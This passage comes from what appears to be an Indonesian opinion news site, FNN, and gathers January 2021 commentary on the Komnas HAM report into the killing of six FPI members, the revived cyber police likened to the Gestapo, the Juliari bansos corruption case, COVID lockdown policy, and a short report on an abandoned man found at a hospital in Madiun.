lebih lanjut. Artinya, secara tersirat Komnas meragukan pernyataan Polisi bahwa FPI memiliki senpi. Ini salah satu rekomendasi jebakan yang dikeluarkan Komnas. Sebab, jika penyelidikan lebih lanjut dilakukan dengan transparasi 100 persen plus kerjasama penuh semua pihak dan ‘outside interference’ (campur tangan luar) nol persen, maka sangat mungkin narasi “FPI memiliki senpi” akan goyah dan bisa dipatahkan. Jika narasi ini terpatahkan dalam proses pengusutan lebih lanjut, maka seluruh penjelasan Polisi tentang peristiwa pembunuhan 6 anggota FPI menjadi tidak ‘credible’ lagi. Tidak bisa dipercaya. Kesimpulan (Komnas HAM menggunakan istilah ‘substansi fakta’) lainnya yang “cukup berbahaya” adalah keberadaan dua mobil yang ikut dalam penguntitan rombongan Habib Rizieq Syihab (HRS). Tetapi, Polisi tidak mengakui dua mobil itu milik mereka. Yaitu, Avanza B-1739-PWQ dan B-1728-KJD. Komnas juga “curiga” terhadap keberadaan sejumlah mobil lain yang berada di belakang iring-iringan HRS. Mobil-mobil tsb terekam kamera CCTV milik Jasa Marga (pengelola jalan tol). Komnas merekomendasikan pengusutan kedua mobil itu. Sebab, kata Komnas, keduanya aktif dalam kronologi penguntitan. Sekali lagi, andaikata nanti ada yang bisa melakukan pengusutan secara transparan tanpa hambatan, maka poin ke-2 dari rekomendasi 4 poin Komnas HAM akan mampu membuka tabir tentang apa sebenarnya tujuan penguntitan rombongan HRS. Pengusutan senpi FPI dan dua mobil misterius yang direkomendasikan Komnas bukanlah permintaan biasa. Pengusutan tuntas dan transparan terhadap kedua hal ini bisa mengubah total alur cerita yang telah dijelaskan ke publik. FPI konsisten membantah tuduhan pemilikan senpi. Kalau dalam penyelidikan lanjut yang diminta Komnas itu terkonfirmasi bahwa FPI tidak punya senpi, maka kesimpulan (substansi fakta) Komnas pada poin 6 yang menyebutkan ada kontak senjata antara mobil FPI dan mobil petugas, bisa berubah total. Sekali lagi, Komnas terbaca tidak sepenuhnya menerima penegasan Polisi bahwa mereka (laskar FPI) membawa senpi. Rekomendasi pengusutan lanjut senpi FPI, menunjukkan Komnas masih sangat ragu. Demikian pula rekomendasi agar dilakukan pengusutan lanjut terhadap kedua mobil Avanza yang bukan milik Polisi itu. Pengusutan ini sangat krusial. Sebab, kedua mobil misterius tsb, plus beberapa mobil yang disebut Komnas berada di belakang rombongan HRS tetapi tak bisa dipastikan apakah mereka ikut menguntit atau tidak, menyimpan teka-teki kunci yang harus diungkap tuntas. Kalau kedua hal itu (senpi FPI dan dua mobil misterius) terurai tanpa ada yang disembunyikan, dipastikan akan terjadi “gempa 9.5 Richter” dalam keseluruhan proses penyelidikan pembunuhan ini. Bangunan narasi Polisi akan ambruk. Sekaligus akan runtuh pula tembok yang melindungi orang-orang misterius yang diduga kuat ikut “bermain”. Bahkan, boleh jadi sebagai “pemain utama”. Kedua mobil Avanza yang misterius itu, dan beberapa mobil misterius lain dibelakang rombongan HRS, kuat dugaan “berselancar” dalam drama penguntitan HRS oleh Polda Metro. Sangat mungkin mereka “membajak” penguntitan itu sehingga ada kronologi yang tak bisa dijelaskan. Ada “missing link”. Ada mata rantai yang “tercecer”. Misalnya, tim penyelidik Komnas HAM tidak mencatumkan apa saja temuan mereka setelah 4 orang laskar yang dimasukkan ke dalam mobil di sekitar rest area KM-50 dalam keadaan hidup tetapi kemudian diumumkan tewas. Komnas mengatakan mereka dibawa ke Mapolda. Tetapi, banyak pertanyaan yang harus dijawab. Apa yang terjadi sebelum mereka sampai ke Mapolda? Siapa yang memberi komando? Siapa yang menembak mereka? Siapa yang berada di dalam mobil Land Cruiser? Dan lain sebagainya. Kecewa kepada Komnas HAM, boleh. Tapi, jangan terlalu. Malahan, tidak berlebihan ucapan terima kasih Anda untuk dua rekomendasi “berbahaya” yang mereka tuliskan itu. Penulis adalah Wartawan Senior FNN.co.id.

Polisi Siber & Polisi GESTAPO Nazi Hitler

Jakarta FNN – Ahad (10/01). Merujuk CNN Indonesia.com Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menko Polhukam) Mahfud MD menyatakan pemerintah akan mengaktifkan kembali polisi siber."Jadi saya katakan kita aktifkan polisi siber. Bukan membentuk, (tapi) aktifkan. Karena polisi siber kita gampang kok," kata Mahfud seperti dikutip dari kanal YouTube Dewan Pakar KAHMI Official, Senin (28/12). Mahfud menyebut hoaks yang beredar tak lepas dari persoalan politik. Menurutnya, ada kelompok yang kerap menghantam pemerintah. Sehingga apapun yang dikerjakan oleh pemerintah selalu saja dianggap salah (CNN Indonesia, com. 28/12/2020). "Kalau ada orang mengancam-ancam jam delapan pagi, jam 10 sudah ditangkap, bisa kok sekarang. Dan itu banyak sudah dilakukan," kata Mahfud dalam Webinar KAHMI, Senin (28/12/2020) lalu. "Polisi siber kita bisa untuk hal-hal yang kriminil, membahayakan seperti itu," tambahnya. (Tirto.co.id, 31/12/2020). Ya Polisi Siber, diaktifkan. Jelas sudah. Ini sikap pemerintah yang cukup dapat diyakini. Tidak bakal bisa ditawar. Apapun alasan yang mungkin dan rasional, yang coba digunakan untuk menawarnya, bisa dipastikan tidak diterima pemerintah. Akankah Polisi Siber kelak bermetamorfosa menjadi Polisi Politik. Layaknya Gestapo di masa Nazi Hitler? Apakah Polisi Siber ikut menyadap telepon? Tidak hanya orang-orang kritis diluar pemerinthan. Tetapi juga aparatur pemerintah? Semakin sempitkah kebebasan berekspresi kita? Semakin represifkah pemerintahan ini? Pertanyaan-pertanyaan hipotetik itu layak kita ketengahkan. Karena satu kenyataan kecil. Profesor Mahfud memungkinkan FPI lama berubah dengan menggunakan nama lain. Tetapi, Polisi disisi lain justru hendak membubarkan bila FPI baru tidak didaftarkan. Sikap Polisi tercermin dari pernyataan Kepala Biro Penerangan Masyarakat Mabes Polri Brigadir Jenderal Rusdi Hartono. Dia menyatakan ketiadaan legalitas tersebut dalam hal ini,polisi diperbolehkan untuk membubarkan organisasi itu setiap kali melakukan kegiatan di setiap wilayah. "Jika tidak mendaftarkan, artinya di sini ada kewenangan dari pemerintah untuk bisa melarang dan membubarkan, " ujar Rusdi di kantornya, Jakarta Selatan, pada Selasa, 5 Januari 2021 (Tempo.oc.id, 5/1/2021). Polisi Siber, terlihat dari pernyataan Mahfud, sang Profesor Tata Negara yang pernah anggota DPR dan Ketua Mahkamah Konstitusi ini, canggih. Jam 8 pagi seseorang mengunggah pikirannya di medsos, lalu kontennya dinilai kriminal, jam 10, dua jam setelah itu sudah dapat ditangkap. Sangat canggih. Menyanggah kebijakan ini, dengan cara mengambil dari gudang gagasan Rule of Law, Human Right, Due Process of Law. Lalu mengualifikasi kebijakan ini khas rezim tirani, totaliter, otoriter dan fasis, boleh jadi akan ditertawakan. Sebagai menteri yang dari mulutnya kebijakan ini terpublikasi, boleh jadi Mahfud, professor yang dua kali jadi menteri di pemerintahan Gus Dur itu, muncul sebagai orang yang paling lincah dalam pemerintahan Jokowi, membantahnya. Dunia menyediakan beragam kenyataan tercabik-cabiknya rule of law dan HAM. Demokrasi? Sama juga. Begitulah tampilan rule of law dan demokrasi mutakhir. Paradoksnya seburuk itu sekalipun tampilan praktis keduanya, ilmuan revisionis selalu mampu menyebut rule of law dan demokrasi. Sejumlah rezim demokratis menempatkan ketertiban dan keamanan di jantung demokrasi dan rule of law. National Security Act telah eksis dalam khasanah rule of law dan demokrasi. Tidak ada rezim mutakhir yang mau menyebut demokrasi di negerinya dengan sebutan pseudo demokrasi, hanya karena National Security Act eksis. Apa rakyat Indonesia punya keberanian untuk menyatakan Profesor Mahfud, yang hampir jadi calon wakil presiden Jokowi pada pilpres kemarin tidak baca buku Clinton D. Rositer, yang berjudul Constitutional Dictatorship? Beranikah seseorang mengatakan Profesor tata negara, yang sangat kaya argumen ini, tidak baca artikel Constitutional Dictatorship: Its Dangger and Its Design dari Lynford A. Landner? Diktator, ambil misalnya Hitler, memasuki kekuasaan melalui Pemilu 1933. Dan pemilu itu diatur dalam “Konstitusi Wirmar 1919”, yang dikenal sangat demokratis dan menjamin hak asasi manusia. Setelah kekuasaan diraih, berada dalam genggamannya, konstitusi dan demokrasi itu dicampakan. Keragaman khas “Konstitusi Wimar 1919” hilang. Diganti keseragaman, yang diusahakan secara serampangan. Semua aspek kehidupan diseragamkan. Ras dan politik diseragamkan. Kritik disambut rezim sebagai ancaman berbahaya dengan efek merusak yang tak terperkirakan. Pengawasan, penangkapan, penculikan, penempatan di kamp konsentrasi, bahkan pembunuhan, extra court killing, segera naik menandai tipikal rezim Hitler. Rakyat, bahkan aparatur pemerintah menemukan diri berada dalam orbit pengawasan tiranis pemerintah. Untuk mengefektifkannya, Hitler, dengan bantuan Herman Gorring, mantan perwira Ankatan laut ini, segera membentuk “Geheime Staatpolizie (GESTAPO)”. Ini terjadi pada 1933, tahun naiknya Hitler ke tampuk Cancelor. Mark Neoleus menyifatkan GESTAPO dengan Secret State Police. Polisi rahasia. Sekuritisasi Jerman Nazi, yang dikemudikan Hitler, terus bergerak maju. Ini menjadi alasan utama mengapa pada tahun 1936, Hitler memekarkan struktur Kepolisiannya. Untuk kepentingan ini, Hitler mengangkat Himler mengepalai Kepolisian German. Naik dengan tiket memperkaya strukturr Kepolisian, Himler dalam kedudukannya sebagai Kepala GESTAPO, segera membentuk lagi dua devisi. Dua devisi baru ini disebut Himler dengan Ordnungpolizie (Orpd) dan Sieherheitspolizie (Sipo). Setelah itu dibentuk lagi Kriminalpolizie (Kripo). The Security Police dipimpin oleh Reinhard Heiydrich. Pada saat bersamaan, pria ini juga memimpin Sichersheitdients (SD). Unit keamanan organisasi partai Nazi. Sekuritisasi terus bergerak naik seiring perang yang mulai dikobarkan Hitler. Tahun 1939, security police dan Unit Keamanan Partai (SD) diintergrasikan ke dalam Reichssicherheitshauptamt, atau Reich Security Head Office (RSHA). Praktis Hitler punya Sipo, Kripo, Orpo, Gestapo, SS, SD dan lainnya, yang semuanya, dalam pandan Neuclous, mencerminkan ketidak-jelasan dan kebingungan visi menangani keamanan. Pada Hitler’s War, ditulis oleh David Irving, terlihat jelas tampilan kebingungan itu. Irving menulis, salah satu pengawasan senjata terpenting di Kepolisian negara Hitler, dikendalikan oleh Herman Goring, bukan Himler, yaitu Forschungsamt atau departemen penelitian. Didirikan April 1933. Departemen ini memonopoli operasi “penyadapan” (tanda petik) redaksi telephon. FA, tulis Irving lebih jauh, merupakan sumber inlelijen polisi, ekonomi, dan politik tingkat tinggi. Artikel tercabing-cabik yang berhasil diselamatkan menunjukan efisiensi yang mengancam, menempatkan hasil penyadapan rutin terhadap actor-aktor kacangan. Gubernur Julius Stricher, Nona Unity Mitford, Putri Strefanie Holenlohe, wanita simpanan Gobles, propagandis top ini, semua disadap. Tentu oposisi, jauh lebih ketat berada di orbit penyadapan. GESTAPO, Nazi Secret State Police, dalam kerja penyamarannya, tentu tak berseragam. Ada di mana-mana di setiap sudut Jerman Nazi. Itulah potret kecil tampilan mereka. Menghimpun informasi di setiap sudut politik, sosial, ekonomi Jerman, itu pula kerja kecil lainnya dari GESTAPO. Berwenang penuh membuka dan memerika surat menyurat rakyatnya. Menyadap percakapan telehone, menghukum, bahkan membunuh tanpa proses peradilan. Dikenal dengan extra judicial killing. Itulah Gestapo. Polisi rasis, dengan semua tindak-tanduknya, jelas dikenang sebagai Polisi paling horor. Jerman Hitler diingat sejarah sebagai rasis, dengan Gestaponya di front terdepannya. Alhasil GESTAPO, yang Hitler andalkan menjadi Polisi Politik, dengan semangat rasis, yang kebejatannya berserakan dimana-mana, merasuk ke semua aspek kehidupan. Metode itu membuat Hitler nyaman dari serbuan kritik. Hasilnya jelas, Hitler itu Jerman. Hitler itu Nazi, dan Hitler itu hukum. Ini persis Raja Louise ke 14 ketika berkuaa di Perancis. Raja Louise yang terkenal dengan D’tate et’s moi (negara adalah saya). Tampilan macam itukah yang kelak akan tersaji dalam memori politik bangsa ini setelah Polisi Siber dibentuk? Yang Profesor Mahfud nyatakan diaktifkan, efektif bekerja? Apakah Polisi Siber akan bermain dalam kesamarannya, sehingga bermetamorosa menjadi Polisi politik? Sejarahlah nanti yang akan maju sebagai narasumber otoritatif untuk semua pertanyaan hipotetik itu. Pertanyaan-pertanyaan hipotetik itu, kita ajukan semata-mata karena kita ingin Republik Indonesia tercinta, kelak tak semakin menodai pembukaan UUD 1945, hanya oleh sebab-sebab picik kecil. Cukuplah korupsi Bansos, yang mengakibatkan Juliardi Batubara, Menteri Sosial, kader PDI-P itu ditahan KPK. Cukuplah itu menodai cita-cita luhur pendiri bangsa ini. Cukup sudah kematian tragis enam orang anggota Lankar Front Pembela Islam (FPI), pengawal Habib Rizieq, semuanya atau sebagian mati ditangan Polisi, menjadi penanda arogansi hukum yang kerdil dalam usaha sekuritisasi bangsa ini. Mari mulai beranjak dewasa. Segeralah pemerintah membiasakan diri berpikir dan bertindak dengan bijak. Bijaklah menedefenisikan keamanan. Kita tak mau “keamanan” dijadikan tameng kerdil dan picik. Untuk kegagalan kita menggunakan akal sehat dan nurani republik. Itu saja. Wallaahualam bishawab.

FPI & Keluarga Korban Boleh ke ICC Den Haag

by M Rizal Fadillah Bandung FNN – Sabtu (09/01). Telah dirilis hasil penyelidikan Tim Komisi Nasional Hak Asasi Manusia (Komnas HAM) dalam kasus pembunuhan terhadap enam anggota Laskar Front Pembela Islam (FPI) di Jalan Tol Jakarta Cikampek (Japek) yang dikenal dengan peristiwa Kilometer 50. Nampaknya rilis tanggal 8 Januari 2021 ini hasil final. Karena ada butir-butir narasinya, akan dilaporkan kepada Presiden, Menkopolhukam dan Kapolri. Adapun Rekomendasi yang dikeluarkan Komnas HAM dari penyelidikan tersebut ada empat butir. Pertama, tewasnya empat anggota Laskar FPI di tangan atau kekuasaan aparat negara merupakan kategori pelanggaran HAM. Untuk itu, Komnas HAM merekomendasikan agar dilakukan proses penegakan hukum lanjutan melalui mekanisme pengadilan pidana. Kedua, mendalami dan penegakan hukum orang-rang yang berada dalam dua mobil petugas di laur anggota Polda Metra Jaya. Kedua mobil tersebut adalah Avansa Hitam B 1739 PWQ dan Avansa silver B 1278 KJD. Karena kedua mobil yang bukan dari Polda Metro Jaya ini melakukan pembuntutan sejaka dari Megamendung, Setntul sampai Cikampek. Ketiga, mengusut kepemilikan senjata api milik Laskar FPI. Keempat, dilakukan proses penegakan hukum yang akuntabel, obyektif, dan transparan sesuai standar HAM. Meski meragukan dan belum jelas dalam kaitan kepemilikan senjata api milik Laskar FPI, yang menyebabkan kematian dua anggota Laskar FPI tersebut, tidak terungkap soal tanda-tanda penyiksaan. Tidak terungkapoleh Komnas HAM telah terjadi terjadi penyiksaan terhadap empat anggota Laskar FPI yang meninggal di tangan anggota Polda Metro Jaya. Catatan penting yang didapat dari rilis Komnas HAM ini adalah keyakinan bahwa telah terjadinya perbuatan yang dikategorikan pelanggaran HAM, yang dilakukan oleh anggota Polda Metro Jaya. Karenanya harus berlanjut pada proses peradilan. Empat orang yang tewas ditembak pada tahap kedua, yang dikategorikan pelanggaran HAM oleh Komnas HAM dapat menjadi pintu masuk. Pintu untuk menguak lebih lanjut kebenaran dari kasus yang menghebohkan ini. Apalagi terkait dengan adanya keterlibatan pihak yang bukan aparat kepolisian. Begitu juga dengan pembuntutan yang intensif dan masif terhadap Habib Rizieq Shihab (HRS). Apa dasar hukumnya? Padahal HRS ketika itu bukan bestatus tersangka. HRS juga tidak berstatus sebagai buronan. Sehingga keterlibatan atasan aparat pelaku pembuntutan dan penembakan patut digali dan didalami lebih lanjut. Jika tidak, maka bisa muncul dugaan adanya kebijakan target "pembunuhan politik" terhadap HRS. Mengapa sejak dari awal keluarnya surat penugasan, petugas dari Polda Metro Jaya tidak meperkenalkan diri atau memperlihatkan surat tugas kepada HRS? Bahwa mereka sedang melakukan penyelidikan terkait dengan dugaan pengerahan massa besar-besaran? Sehingga tidak perlu terjadi pepet-pepetan dengan Laskar FPI yang mengawal HRS selama di jalan tol. Dengan memperlihatkan surat tugas resmi, maka petugas Polda Metro Jaya juga tidak perlu memaksakan diri untuk masuk dalam barisan atau konvoi rombongan keluarga HRS selama di jalan tol. Sebab antara petugas Polda Metro Jaya dengan pihak HRS sudah saling kenal dan mengetahi posisi masing-masing. Kalau sudah saling tau dan kenal, kemungkinan malah petugas Polda Metro Jaya dibiarkan saja untuk bergabung dalam rombongan HRS selama di tol. Sebab petugas tidak lagi dicurigai oleh pengawal HRS sebagai maling atau penjahat lainya. Sehingga harus dijauhkan dari rombongan keluarga HRS. Pelaku Belum Terungkap Dua hal yang disayangkan, dan tidak terungkap secara transparan dari penyelidikan Komnas HAH. Pertama, soal eksplanasi tanda-tanda penyiksaan yang menyertai pembunuhan. Kedua, siapa atau berapa orang pelaku penembakan terhadp enam anggota Laskar FPI? Pengungkapan terhadap jumlah dan identitas pelaku ini penting. Mengingat pembunuhan di kiloeter 50 ini kategorinya adalah perbuatan adalah pelanggaran HAM. Komnas HAM semestinya menemukan identitas pelaku personal perbuatan kriminal tersebut. Hasil penyelidikan Komnas HAM sebenarnya inkonsisten. Karena setelah meyakini bahwa telah terjadi pelanggaran HAM. Tetapi tidak merekomendasi ke arah penegakan hukum melalui pengadilan HAM. Ini bukan semata pembunuhan. Namun pelanggaran HAM, bahkan pelanggaran HAM berat. Dasarnya adalah UU No 26 tahun 2000 tentang Pengadilan HAM. Hal ini agar kasus serupa tidak terulang dan menjadi pelajaran berharga bagi para pelanggar HAM. Konsekuensinya, jika tidak melalui Pengadilan HAM, maka masyarakat masih dapat mendorong dan mengajukan agar proses peradilan dilakukan melalui Internasional Criminal Court (ICC) di Den Haag Belanda. Alasan untuk membawa masalah ini ICC adalah Pemerintah Indonesia tidak sungguh-sungguh mengadili pelaku kejahatan HAM. Pembunuhan dan penyiksaan dengan kategori pelanggaran HAM masuk dalam kompetensi peradilan ICC. Tinggal masyarakat mendorong saja. Bahwa Indonesia belum meratifikasi Statuta Roma tidak menjadi alasan kemungkinan tidak diproses oleh ICC. Kasus Myanmar, Amerika, dan Israel adalah contoh negara yang tidak meratifikasi Statuta Roma. Tetapi terbukti menjadi obyek peradilan ICC. Apalagi legal standing untuk proses ICC bukankah negara tetapi individu dan masyarakat. Sebentar lagi bola berada di tangan Presiden. Akan diuji komitmen dan keseriusannya sebagai Kepala Negara dalam penegakan hukum atas pelanggaran HAM yang terjadi. Jika tidak serius dan bermain-main dalam kasus ini, maka Presiden dapat dikategorikan sebagai bagian dan terlibat dalam pelanggaran HAM tersebut. Penulis adalah Pemerhati Politik dan Kebangsaan.

Harusnya Risma Blusukan ke Rutan KPK, Ada Juliari di Sana Butuh Bansos

by Asyari Usman Medan, FNN - Jumat (08/01). Mensos Tri Rismaharini babak belur gara-gara bluskan mencari tunawisma alias gelandangan di Jakarta. Drama pencitraan Bu Risma berantakan setelah muncul kontroversi karena salah seorang tunawisma yang beliau jumpai diduga palsu. Bukan gelandangan asli. Tetapi, Humas Kemensos mengatakan laki-laki yang dikatakan gelandangan palsu itu bukan Nursaman, tapi Kastubi. Dengan kata lain, Kemensos menepis tuduhan palsu itu. Sebenarnya, kalau Bu Risma bertekad terus melakukan blusukan, kita sarankan agar dia mendatangi rutan KPK. Di sana juga banyak tunawisma (homeless) dan tunakarya (jobless). Salah satunya Juliari (Ari) Batubara yang saat ini memerlukan bansos. Pak Ari perlu bantuan karena sel-sel darah beliau sangat cocok dengan sel-sel dana bansos Covid-19 yang beliau “transgelapkan” ke tubuhnya. Ibarat orang yang sudah kebanyakan narkotika di dalam darahnya, orang itu perlu suntikan narkotika untuk bisa bertahan. Begitu juga Pak Ari yang sudah banyak mengkonsumsi dana bansos. Dia perlu dibawakan oleh-oleh dana bansos agar bisa tenang di rutan. Tapi, haruslah dana bansos yang legal. Jangan yang tidak legal. Pak Ari sekarang ‘kan berstatus berhak menerima dana bansos. Kalau jadi menjumpai Pak Ari ke rutan, Bu Risma jangan lupa bawa kamera. Rekam dialog dengan beliau. Apakah dia mau dicarikan pekerjaan atau mau dipulangkan ke kampung halamannya. Kalau mau dipulangkan, apakah mau pakai private jet atau naik bus? Siapa tahu beliau kangen naik jet pribadi. Atau, kalau repot mencari jet pribadi, pulangkan saja ke rumah Bu Mega. Pak Ari itu ‘kan kader kesayangan Bu Ketum. Biar mereka bisa bincang-bincang tentang OTT. Boleh jadi Bu Mega ingin tahu kenapa Mas Ari bisa kena tangkap KPK. Apakah kurang hati-hati? Atau karena terlalu percaya diri, bahwa PDIP partai terbesar dan terkuat saat in? Pasti banyak yang hendak ditanyakan Bu Mega kepada Mas Ari. Mungkin juga mau ditanyakan bagaimana sebaiknya strategi ke depan untuk menghindarkan OTT? Dan lain-lain. Good idea-lah kalau Bu Risma bisa bantu pulangkah Mas Ari ke rumah Bu Mega. Banyak yang bisa mereka bahas. Terus, apakah ada alasan lain bagi Risma untuk menjumpai Pak Ari di rutan KPK?. Pasti ada. Bu Risma wajib mendatangi mantan mensos itu untuk menyampaikan terima kasih. Terima kasih atas kebaikan Pak Ari membukakan pintu Istana bagi Bu Risma melalui kosupsi bansos. Betapa besar pengorbanan Pak Ari untuk mengantarkan Bu Risma ke Istana. Kalau Bu Risma jadi datang ke rutan, beliau juga bisa bantu Pak Ari mendapatkan pekerjaan di penjara. Pak Ari perlu ada kesibukan di tahanan agar bisa mengalihkan pikirannya dari bayangan hukuman mati. Sebab, desakan publik agar dia dihukum mati semakin keras. Ok. Kita tunggu blusukan Bu Risma ke rutan KPK. Pasti Pak Ari senang. Sekalian Bu Risma bisa lihat langsung kamar tahanan untuk koruptor dana bansos. Siapa tahu melihat sel di sana ada gunanya. Sebab, masih ada puluhan triliun lagi yang menjadi tanggung jawab Bu Risma. Iya ‘kan? Penulis adalah Wartawan Senior FNN.co.id.

Jokowi Tetap Menolak Lockdown?

Jakarta FNN – Jum’at (08/01). Memasuki pekan kedua bulan Januari, kondisi Indonesia makin berat. Kondisi berat secara kesehatan. Apalagi secara ekonomi. Per tanggal 7 Januari lalu, angka positif Covid-19 sudah mendekati 800 ribu kasus. Sementara kasus harian nyaris tembus 10.000. Tepatnya total kasus 797.723 orang, dan kasus positif harian mencapai 9.321. Dilihat kasusnya ini merupakan rekor tertinggi. Angka-angka tersebut terus naik hari demi hari. Tiga hari menjelang dan selama Natal, angkanya tembus 7.000. Naik 8.000, dan sekarang sudah di atas 9.000 kasus. Diperkirakan jumlahnya akan meningkat 30—40 persen, seiring usainya libur panjang Natal dan Tahun Baru. Meski pemerintah mengimbau warga agar tidak bepergian, namun Departemen Perhubungan memperkirakan, ada sekitar 16 juta orang yang melakukan perjalanan selama libur panjang kemarin. Akibatnya. Sejumlah rumah sakit di kota-kota besar, seperti Bandung, Surabaya, apalagi Jakarta sekarang sudah penuh. Di Surabaya dilaporkan, pasien Covid sampai harus dirawat di lorong-lorong rumah sakit. Karena tidak kebagian tempat tidur. Sementara di Jakarta, sebuah video viral menunjukkan seorang pasien ditawari dirawat di tempat duduk. Sudah tidak tersedia tempat tidur, kata seorang perawat. Situasi semacam ini sesungguhnya tidak terlalu mengagetkan. Kondisi ini sudah diprediksi jauh-jauh hari. Ini untuk pertama kalinya Presiden Jokowi secara serius, menampakkan kekhawatirannya ,dengan perkembangan Covid. Bahkan dia mengingatkan Indonesia, khususnya Jawa dan Bali berpotensi dilakukan lockdown. Seperti halnya dilakukan oleh kota-kota lain di dunia. Jokowi menyebut contoh beberapa negara yang harus melakukan lockdown. London, Tokyo, dan yang paling dekat dengan kita Bangkok. Jokowi bahkan menyebut bukan hanya London, Inggris juga melakukan lockdown. "Hati-hati ini jadi catatan kita semuanya, jangan sampai terjadi lonjakan yang sangat drastis, sehingga kita dipaksa untuk melakukan (lockdown)," tegas Jokowi ketika melakukan rapat virtual bersama menteri dan sejumlah gubernur. Meski mengingatkan kemungkinan pemerintah terpaksa melakukan lockdown. Namun itu baru berupa wacana. Sama seperti sikap Jokowi sejak awal pandemi. Dia menolak tegas opsi lockdown yang akan akan diberlakukan Gubernur Jakarta Anies Baswedan. Seperti kita ketahui, pemerintah akhirnya memilih opsi pembatasan sosial berskala besar (PSBB). Berbeda dengan lockdown, dalam PSBB tidak ada konskuensi biaya yang akan membebani APBN. Bila lockdown yang dipilih, sesuai ketentuan UU, semua kebutuhan hidup warga, bahkan termasuk binatang peliharaan juga harus ditanggung pemerintah. Sementara dalam PSBB tidak ada kewajiban semacam itu kepada pemerintah. Pada PSBB juga ada opsi-opsi pengecualian. Terutama yang berkaitan dengan kegiatan perekonomian. Makanya kemudian dikenal berbagai istilah PSBB yang diperlonggar, dan berbagai istilah absurd lainnya. Intinya pemerintah ingin agar kegiatan perekonomian dapat tetap berjalan. Situasinya kini jelas berbeda. Menteri keuangan Sri Mulyani sudah mengisyaratkan. Situasinya saat ini benar-benar sudah darurat. Dia menyatakan tak ada pilihan lain bagi pemerintah. Menerapkan PSBB di Jawa dan Bali. Bila tidak dilakukan PSBB, maka situasinya bisa lebih buruk lagi. Sri Mulyani menggunakan istilah dalam bahasa Inggris getting worse. Pernyataan Sri Mulyani ini menunjukkan betapa buruknya situasi keuangan negara saat ini. Ada nada putus asa dalam pernyataannya. Kalimat “bila tidak dilakukan akan getting worse” menunjukkan bahwa pilihan terburuk itu mau tidak mau harus dilakukan. Ini merupakan peringatan keras bagi Jokowi dari seorang bendahara negara. Menkeu sangat tahu seperti apa kondisi keuangan negara saat ini. Namun dia juga sangat tahu bahwa kebijakan pemerintah selama ini, selalu menolak untuk melakukan lockdown, atau apapun istilahnya. Bahwa keuangan negara semakin memburuk itu sesungguhnya sudah bisa dibaca publik. Pemerintah misalnya membatalkan rencana kenaikan gaji untuk ASN minimal Rp 9 juta. Padahal sudah diumumkan oleh Menteri Pemberdayaan Aparatur Negara Tjahjo Kumolo. Rencananya akan direalisasikan tahun 2021. Banyak juga rumor yang muncul. Misalnya, gaji pegawai belum diterima. Kalau diterima, baru sebagian. Tunjangan-tunjangan yang biasa diterima tak kunjung turun. Seorang pejabat tinggi negara bahkan menyampaikan. Kemampuan keuangan negara membayar gaji, paling banter hanya kuat sampai bulan April 2021 nanti. Sri Mulyani juga berkali-kali curhat betapa beratnya situasi keuangan negara. Pada bulan November 2020, di depan KPK, Sri Mulyani menyampaikan betapa sulitnya mengelola perekonomian negara dan fiskal selama pandemi Covid-19.. Tak lama setelah mencuat kasus korupsi bansos, Sri Mulyani curhat ke Direktur IMF. Dia susah payah mencari bantuan ke donatur. Tetapi anggaran untuk orang miskin malah ditilep Mensos Juliari Batubara. Sekarang, menghadapi lonjakan Covid-19, Sri Mulyani menyatakan tidak ada pilihan lain. Harus dilakukan PSBB untuk Jawa dan Bali. Bila tidak akan lebih buruk lagi. Bagaimana sikap Jokowi? Sewaktu Jakarta ingin melakukan PSBB diperketat saja, pemerintah pusat menolak dan melakukan tawar menawar. Apalagi sekarang Jawa dan Bali. Tetapi masalahnya, seperti kata Menkeu, tidak ada pilihan lain yang lebih baik. Silakan diputuskan Pak Jokowi. Jadi Presiden itu memang berat. Biar Pak Jokowi yang memikirkannya. Rakyat tidak akan kuat!! End

Miris, Orang Telantar Ditemukan Kehujanan di Tempat Sampah Rumah Sakit

by Bambang Tjuk Winarno Madiun, FNN - Jumat (08/01). Peristiwa humanisme menyentuh perasaan terjadi di Madiun, Jawa Timur, Kamis sore (7/1). Pria muda berstatus sebagai orang terlantar ditemukan mendekam kedinginan di tempat sampah sebuah rumah sakit, dalam kondisi cuaca turun hujan. Korban yang tidak memiliki tanda pengenal diri dan sulit diajak bicara itu, pertama kali ditemukan petugas Rumah Sakit Paru Dungus, Desa Ngebrak, Kecamatan Wungu. Saat ditemukan, korban hanya mengenakan celana pendek dan kaos lusuh penuh daki. Posisinya duduk mendekam dengan kedua tangan silang mengapit dada, sebagai tanda tengah melawan rasa dingin guyuran hujan serta hawa pegunungan. "Menggigil kedinginan saat pertama kali ditemukan petugas rumah sakit itu. Mengenakan kaos tapi sudah lusuh," tutur Maidora, anggota Tim SAR, kepada jurnalis. Korban yang nampak lepas ingatan, ketakutan, dengan kedua bola mata yang pandang tiada arti itu langsung dievakuasi petugas rumah sakit. Evakuasi dilakukan dengan bantuan warga sekitar, kemudian dimandikan. Pihak rumah sakit juga mengganti baju yang menempel di tubuh korban, dengan pakaian baru yang lebih nyaman dikenakan. "Sekarang sudah berada di ruang perawatan rumah sakit tersebut. Juga sudah diberi makan dan kebutuhan lainnya. Tapi belum ada pihak keluarga yang merasa kehilangan," tambah Maidora. Pihak Rumah Sakit Paru Dungus belum ada yang bisa dimintai konfirmasi terkait itu. Yang pasti, korban sudah dalam penanganan rumah sakit setempat. Yang ironis, disaat anak bangsa terserakh di muka bumi tanpa arti, justru pejabat tinggi berpesta korupsi seakan hilang rasa peduli. Korban yang mestinya memperoleh hak penuh penanganpemerintah atas kondisi sosialnya, namun anggaran bantuan sosial segede Rp. 5,9 trilyun malah dikorupsi Menteri Sosial nya, Juliari Batubara. Kini korban dalam pengawasan pihak Rumah Sakit Paru Dungus, sambil menunggu perkembangan apakah ada pihak keluarga yang mengakui kemudian mengajaknya pulang kembali. Penulis adalah Pelaku UMKM.

Ketika Jenazah 6 Laskar FPI Bicara (6)

